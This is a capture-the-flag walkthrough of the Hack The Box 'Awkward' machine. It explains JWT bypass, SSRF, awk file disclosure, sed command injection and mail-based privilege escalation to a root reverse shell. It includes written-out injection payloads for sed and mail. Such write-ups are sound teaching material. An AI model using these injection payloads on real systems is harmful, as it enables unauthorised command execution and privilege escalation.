Awkward
Intro
In this article I’m going to be tackling Awkward
machine, a medium difficulty Linux machine on hackthebox.com
.
in this machine we will be preseneted with vue js files
loaded with the page where we will search for routes and exploit a jwt malformed token
to bypass authentication and get access to the hr dashboard, exploit ssrf
to leak internal server resources where we will find an api documentation
on port 3002, using this api we will exploit awk
to get a command injection
and extract a user's ssh credentials
to gain initial foothold and from there exploit a sed
command to get command injection
and pivot to the www-data user which have access to a file that we will abuse through the mail command
to get root privileges

Information Gathering
as always starting by doing nmap

we see in the nmap scan output that only 2 ports are open ssh
on port 22 and http
on port 80 which is running nginx server
let's take a look at the website running on port 80

it redirects us to http://hat-valley.htb
so lets add this to the /etc/hosts
file so we can access this website


Now you can be able to access the website

using wappalyzer
we can see that it's a nodejs application running on ubuntu's nginx server

if we navigate the website we can see that an online store
is under building so let's fuzz the website for subdomains that may lead us to find the online store website

Subdomain FUZZING Using ffuf
-mc all
=> match all codes

now let's filter by size and remove all responses with 132 size

we have found the subdomain store.hat-valley.htb
, let's add it to the /etc/hosts
file so we can view the website

the subdomain wants us to login

the application uses php since the application runs normally with the /index.php

Directory Enumeration
enumerating directories on the root of the website

enumerating directories on the store subdomain

seems that enemerating directories doesn't bring somthing of value so let's try enemerating the website frontend files if we inspect the page we will find a bunch of files let's dig and find out if we are going to find something of interest

this is a vue application
(vue is javascript frontend framework)



let's test out those routes, we can notice that the /leave
and /dashboard
routes are redirecting us to /hr
route so login in is mendatory to acces the other routes

let's look for other vue files maybe we can find other routes if we look at the directory called services we have 4 js files let's dig into these files and extract any useful informations so in all those files we get those routes :Cancel changes
/api/all-leave
returns jwt malformed
/api/submit-leave
/api/login
/api/staff-details
returns jwt malformed
/api/store-status


Authentication Bypass by removing the Cookie
since It throws the error of JWT token Malformed
I think it is a token error so let's pass this without token intercept the request using burp and we can see a token with guest value let's remove and send the request we get invalid user

doing the same but with the /api/staff-details
and we get a list of users data

exfiltrating data from the /api/staff-details
route in a nice format using curl and jq

so we have passwords that are hashed using some algorithm we're going to use this website to know the type of the hashes https://hashes.com/en/tools/hash_identifier
and looking at the result we can see that the hash is SHA256

or use the hash-identifier
command on linux

now let's crack the hashes first thing to do before using hashcat
or john
the ripper let's use crackstation

now let's login using those credentials in the /hr
route that we have found previously



let's intercept this using burp suite

%22http:%2F%2Fstore.hat-valley.htb%22
=> url decode : "http://store.hat-valley.htb"

Server Side Request Forgery SSRF leak internal resources

using ffuf to FUZZ all possible ports
we are escaping the " because ffuf removes them if we didn't escape them

-fs 0
=> filtering by size and removing empty responses

let's take a look at the internal port 3002

let's open it in the browser and take a deeper look and this the internal api documentation
of all the routes we found previously

/api/login
route is not vulnerable

Abusing Awk to get local file inclusion


i will show u how can this syntax awk '\{user}\' /var/www/private/leave_request.csv
get u File Disclosure Vunerability


so if we find a way to poison the user value
(token username) we could get a File Disclosure Vulnerabilty
Poisoning The User Token
copy the user token value from the storage -> Cookies -> http://hat-valley.htb
so if we find a way to poison the user value (token username) we could get a file disclosure vulnerabilty

and then navigate to the jwt.io
website to decode the token

in order to poison the token
we need to make sure that the signature is valid
and to do that we need to crack the JWT token
Cracking the JWT
cracking the JWT using hashcat


and now our token have a verified signature

Python Exploit to poison the token and get local file disclosure vulnerability



so we can notice that PWD=/var/www/hat-valley.htb
and since the application is a nodejs application there must be a package.json
file so let's leak this file

now we know the path to the server.js
file let's leak this file

discolsing nginx configuration file
for the store subdomain (nginx configuration files always stored in /etc/nginx/sites-available/*.conf)
what this does is if the store subdomain is directed to /cart
or /product-details
return 403 (forbidden) end with .php
require a password which exist in /etc/nginx/conf.d/.htpasswd


let's identify the hash type using hash-identifier

now let's crack it using hashcat, but it couldn't crack it

let's move on and look for the users that exectutes /bin/bash

let's take a look at the .bashrc file
of the user bean (i couldn't discolse the same file for other users) analyzing the file we can notice an alias that backups the user bean's backup and this seems interesting


let's take a look at the backup_home bash script

let's extract the bean_backup_final.tar.gz
from the victim machine, and to do that we need to modify the python script and read the content of the compressed backup as bytes and save it to a file so we can decompress it without errors

now let's run the python script and extract the compressed GZIP data

extracting the gzip using tar, and we have the user's bean backup home

let's see if there is any hidden directories

Discovering bean's credentials in his xpad directory, change directory to .config/xpad
and read the content-DS1ZS1
file which contains some bean's credentials

let's try to ssh using those credentials, and we are in cool

User Flag
we have found our first flag

let's try if the password we have found in the .config/xpad 014mrbeanrules!#P
may be the password for the store the username is admin
and the password may be 014mrbeanrules!#P


and we are in

now let's move to the directory where the store file are existed

after reading the code in the files i found 3 dangerous system calls in the cart_actions.php file where we may get command execution but if we look at the code we will find that there is blacklist on the special characters so it's not possible to get a command execution from the first 2 system calls but the last one using sed we may exploit it

let's understand how sed can be exploited to inject commands here we have replaced the first line with the command id


so we can inject in the {$item_id} field


let's see where is the add item in the code

now let's go to the shop in the store web application (store.hat-valley.htb) and add some item to the cart and intercept this request using burp

now we will modify the item parameter and the action parameter where the user will be used to inject the commands and action will be delete_item so sed will be called and if we execute this we sleep for 3 seconds

generate a reverse shell script
and put it in the tmp directory

start listener

add_item first and then delete_item with item is 1/d'+-e+"1e+/tmp/reverseshell.sh"+'
to execute the reverse shell


Upgrading Simple Shells to Fully Interactive TTYs

listing processes

and this looks interesting it looks like its monitoring the leave_requests.csv file

let's take a look at the leave_requests.csv file

let's use PSPY
to monitor linux processes without root privileges
, you can download it from this github repository https://github.com/DominicBreuker/pspy
and then transfer it to the www-data session so we can use it there



when we update the leave_request.csv file it invokes a new process called mail
which runs with root privileges
and based on what we get from the pspy we can see the mail command format that runs in the notify.sh script so the schema of the mail command could be this mail -s "Leave Request: " $name christine

to exploit the mail command go to gtfobins
and search for mail to see how mail can be abused to execute scripts echo 'bean --exec="\!/tmp/reverseshell.sh"' >> leave_requests.csv
before you execute this make sure you have set up a listener to catch the reverse shell

we have successfully executed the reverse shell script using the mail command and we have spawned a root shell

Root Flag
and here is the root flag


hope you found this walkthrough easy to understand and follow
Greeting From Sayonara
Last updated
Was this helpful?